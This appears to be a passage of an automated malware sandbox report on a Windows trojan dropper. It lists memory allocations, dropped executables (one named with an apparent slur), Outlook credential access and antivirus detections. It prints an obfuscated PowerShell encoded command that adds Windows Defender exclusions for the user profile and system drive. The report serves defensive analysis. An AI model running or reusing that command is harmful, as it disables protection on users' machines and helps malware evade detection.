NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04afa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04afb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04afc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04afd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04afe000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04aff000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b01000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b02000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b03000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 28, 2023, 1:43 p.m.	process_identifier: 2060 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b04000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates executable files on the filesystem (2 events)

file	C:\Users\test22\AppData\Local\Temp\stlr.exe
file	C:\Users\test22\AppData\Roaming\nig_guy1.exe

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (2 events)

cmdline	powershell -EncodedCommand "PAAjAHQAZwBkACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegB2ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAZwB1ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AcgBxACMAPgA="
cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAZwBkACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegB2ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAZwB1ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AcgBxACMAPgA="

Drops a binary and executes it (2 events)

file	C:\Users\test22\AppData\Roaming\nig_guy1.exe
file	C:\Users\test22\AppData\Local\Temp\stlr.exe

Drops an executable to the user AppData folder (2 events)

file	C:\Users\test22\AppData\Roaming\nig_guy1.exe
file	C:\Users\test22\AppData\Local\Temp\stlr.exe

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW May 28, 2023, 1:43 p.m.	show_type: 0 filepath_r: powershell parameters: -EncodedCommand "PAAjAHQAZwBkACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegB2ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAZwB1ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AcgBxACMAPgA=" filepath: powershell	1	1	0

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x00022600', u'virtual_address': u'0x00002000', u'entropy': 7.1657088024900775, u'name': u'.rdata', u'virtual_size': u'0x000225b3'}

entropy

7.16570880249

description

A section with a high entropy has been found

entropy

0.978647686833

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW May 28, 2023, 1:43 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Harvests credentials from local email clients (1 event)

registry

HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\SMTP Email Address

File has been identified by 53 AntiVirus engines on VirusTotal as malicious (50 out of 53 events)

Bkav	W32.AIDetectMalware
MicroWorld-eScan	Trojan.GenericKD.67145003
McAfee	GenericRXTU-AS!25344F4F54EC
Malwarebytes	Trojan.Injector
VIPRE	Trojan.GenericKD.67145003
Sangfor	Suspicious.Win32.Save.a
K7AntiVirus	Trojan ( 0059450a1 )
Alibaba	TrojanDownloader:Win32/Stealer.a6cd9b59
K7GW	Trojan ( 0059450a1 )
Cybereason	malicious.f54ec2
Arcabit	Trojan.Generic.D4008D2B
Cyren	W32/Lazy.U.gen!Eldorado
Symantec	ML.Attribute.HighConfidence
Elastic	malicious (high confidence)
ESET-NOD32	a variant of Win32/TrojanDropper.Agent.SRP
Cynet	Malicious (score: 100)
APEX	Malicious
Kaspersky	HEUR:Trojan.MSIL.Agent.gen
BitDefender	Trojan.GenericKD.67145003
Avast	Win32:Evo-gen [Trj]
Tencent	Malware.Win32.Gencirc.13afe021
Emsisoft	Trojan.GenericKD.67145003 (B)
F-Secure	Trojan.TR/Dropper.Gen
Zillya	Dropper.Agent.Win32.537598
TrendMicro	Backdoor.Win32.ASYNCRAT.YXDEPZ
McAfee-GW-Edition	BehavesLike.Win32.Dropper.cc
Trapmine	malicious.high.ml.score
FireEye	Generic.mg.25344f4f54ec2aff
Sophos	Mal/Generic-S
Ikarus	Trojan.Win32.Tnega
Avira	TR/Dropper.Gen
Antiy-AVL	Trojan[Downloader]/Win32.Small
Gridinsoft	Trojan.Win32.Downloader.sa
Microsoft	TrojanDownloader:Win32/Small.RDSA!MTB
ViRobot	Trojan.Win.Z.Fakealert.144896
ZoneAlarm	HEUR:Trojan.MSIL.Agent.gen
GData	Win32.Trojan.PSE.10AFFS0
Google	Detected
AhnLab-V3	Trojan/Win.Generic.R497632
Acronis	suspicious
VBA32	BScope.Trojan.Nitol
ALYac	Trojan.GenericKD.67145003
MAX	malware (ai score=88)
Cylance	unsafe
Panda	Trj/Genetic.gen
TrendMicro-HouseCall	Backdoor.Win32.ASYNCRAT.YXDEPZ
Rising	Backdoor.DcRat!8.129D9 (TFE:1:BNER4NzZWDL)
SentinelOne	Static AI - Suspicious PE
Fortinet	W32/Tiny.NFR!tr
BitDefenderTheta	AI:Packer.402C74CF1F

nigguy_1.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All